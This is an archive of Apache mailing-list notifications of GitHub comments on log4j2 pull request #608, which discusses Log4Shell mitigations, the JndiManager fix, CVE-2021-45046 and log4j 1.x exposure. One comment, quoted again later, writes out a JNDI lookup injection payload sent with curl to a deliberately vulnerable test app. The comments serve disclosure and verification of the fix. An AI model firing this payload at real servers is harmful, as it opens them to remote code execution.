$ sudo nsenter -t "$(docker inspect -f '{{.State.Pid}}' log4shell-vulnerable-app)" -n tshark -i lo -n
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'
1 0.000000000 127.0.0.1 -> 127.0.0.1 TCP 74 38380 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426441 TSecr=0 WS=128
2 0.000013194 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38380 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3 0.023625945 127.0.0.1 -> 127.0.0.1 TCP 74 38382 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426464 TSecr=0 WS=128
4 0.023636425 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38382 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
5 0.027652034 127.0.0.1 -> 127.0.0.1 TCP 74 38384 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426468 TSecr=0 WS=128
6 0.027662963 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38384 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
7 0.042974136 127.0.0.1 -> 127.0.0.1 TCP 74 38386 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426484 TSecr=0 WS=128
8 0.042985398 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38386 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```
This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16
) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
EDIT: CVE-2021-45046 https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jschauma commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jschauma commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994193467
Thanks @garydgregory . Appreciate the clarity.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993542299
thx @SpComb for confirming what I found.
I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
I just found (and this is also part of what I reported already yesterday 22:02 CET to the email adress for security of the logging lib private@logging.apache.org, until waiting 12h for a response, as it is highly related to mitigation instructions that could be unsafe, before publishing code/comments here) "Variable replacement works in a recursive way. Thus, if a variable value contains a variable then that variable will also be replaced." https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Especially concerning is what you wrote regarding 2.15.0 ...
> > Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
> > Can someone confirm this?
>
> Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
>
> The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
> This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
>
> The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] yjqg6666 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
yjqg6666 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994210122
For anyone following this issue. If you are using spring boot 4.3.27 or later/above, you could use spring.jndi.ignore=true to disable jndi completely using jvm properties if upgrade option is not your choice or JAVA_OPTS environment variable.
Reference: https://github.com/spring-projects/spring-boot/issues/5419
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] diegomrsantos commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
diegomrsantos commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991046595
@garydgregory is there a safe Java 11 version?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] peturthors edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
peturthors edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991139464
> Can't find much info about it.
grep-ing through the source code for jdk-11.0.1 we get
`src/java.naming/com/sun/jndi/ldap/VersionHelper.java: PrivilegedAction<String> act = () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");`
and
`src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: PrivilegedAction<String> act = () -> System.getProperty( "com.sun.jndi.rmi.object.trustURLCodebase", "false");
`
So I'm guessing jdk-11.0.1 and later set these properties to false by default.
_Edit: formatting_
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] albertinix commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
albertinix commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991225381
Does anyone know if removing the `JndiLookup` class is enough?
On the [Apache Log4j2 page](https://logging.apache.org/log4j/2.x/) it's stated to:
>Remove the JndiLookup **and JndiManager** classes from the log4j-core jar.
(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the `JndiManager` class as well?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r760363447
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -168,21 +206,89 @@ protected boolean releaseSub(final long timeout, final TimeUnit timeUnit) {
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
- public <T> T lookup(final String name) throws NamingException {
+ public synchronized <T> T lookup(final String name) throws NamingException {
+ try {
+ URI uri = new URI(name);
+ if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
+ LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
+ return null;
+ }
+ if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
+ if (!allowedHosts.contains(uri.getHost())) {
+ LOGGER.warn("Attempt to access ldap server not in allowed list");
+ return null;
+ }
+ Attributes attributes = this.context.getAttributes(name);
Review comment:
I want to make sure that `context.getAttributes(name)` verifies against the same data (cached without any sort of refresh or network call) as the subsequent call to `context.lookup(name)`, otherwise the verification isn't very helpful.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r760403424
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -168,21 +206,89 @@ protected boolean releaseSub(final long timeout, final TimeUnit timeUnit) {
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
- public <T> T lookup(final String name) throws NamingException {
+ public synchronized <T> T lookup(final String name) throws NamingException {
+ try {
+ URI uri = new URI(name);
+ if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
+ LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
+ return null;
+ }
+ if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
+ if (!allowedHosts.contains(uri.getHost())) {
+ LOGGER.warn("Attempt to access ldap server not in allowed list");
+ return null;
+ }
+ Attributes attributes = this.context.getAttributes(name);
Review comment:
Perfect, thank you for the explanation, I'm not very familiar with these components :-)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759847957
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
+ private static final String LDAP = "ldap";
+ private static final String SERIALIZED_DATA = "javaserializeddata";
+ private static final String CLASS_NAME = "javaclassname";
+ private static final String REFERENCE_ADDRESS = "javareferenceaddress";
+ private static final String OBJECT_FACTORY = "javafactory";
+ private final List<String> allowedHosts;
+ private final List<String> allowedClasses;
+
+ static {
+ permanentAllowedHosts.addAll(NetUtils.getLocalIps());
+ permanentAllowedClasses.add(Boolean.class.getName());
+ permanentAllowedClasses.add(Byte.class.getName());
+ permanentAllowedClasses.add(Character.class.getName());
+ permanentAllowedClasses.add(Double.class.getName());
+ permanentAllowedClasses.add(Float.class.getName());
+ permanentAllowedClasses.add(Integer.class.getName());
+ permanentAllowedClasses.add(Long.class.getName());
+ permanentAllowedClasses.add(Number.class.getName());
Review comment:
This comment is on the first commit. The second commit added filtering by protocol.
I haven't added a complete kill switch and wasn't planning to. Rather than doing that I think it would be better to figure out a generic way to "hide" plugins.
More importantly, the class is abstract so can never appear here. I am not inspecting sub-classes, only the actual class being instantiated. I will remove Number.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759845982
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/util/NetUtils.java
##########
@@ -79,6 +84,45 @@ public static String getLocalHostname() {
}
}
+ public static List<String> getLocalIps() {
+ List<String> localIps = new ArrayList<>();
+ localIps.add("localhost");
+ localIps.add("127.0.0.1");
Review comment:
I could have but this pre-seeding really isn't necessary as they show up in the while loop anyway.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Baoqi removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Baoqi removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990861408
> @Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter in log4j configuration(log4j.properties) or not?
@sysmat I don't have answer for this, as I'm not familiar with log4j. Based on my limited knowledge, the well-known explode steps for the CVE-2021-44228 only work for log4j 2.x (before 2.15.0). But can not explode against log4j 1.2.17. So, it may not be affected. But, as mentioned by remkop: "Also note that Log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed.", so, log4j 1.2.17 may have other known or unknown vulnerabilities.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991241208
**For those who are looking for a JRE/JDK version to mitigate the problem**, please don't! CVE-2021-44228 creates a large attack surface depending on the imagination of the attacker and an RCE is just one of them. I would strongly advise you to avoid having a false conclusion by relying on a JVM feature targeting a certain attack vector; there are more vectors. Simply either bump `log4j-core` to 2.15.0 or set `log4j2.formatMsgNoLookups=true` system property.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992461050
@svdHero That sounds like you are not impacted by this vulnerability.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301
@ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "better" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org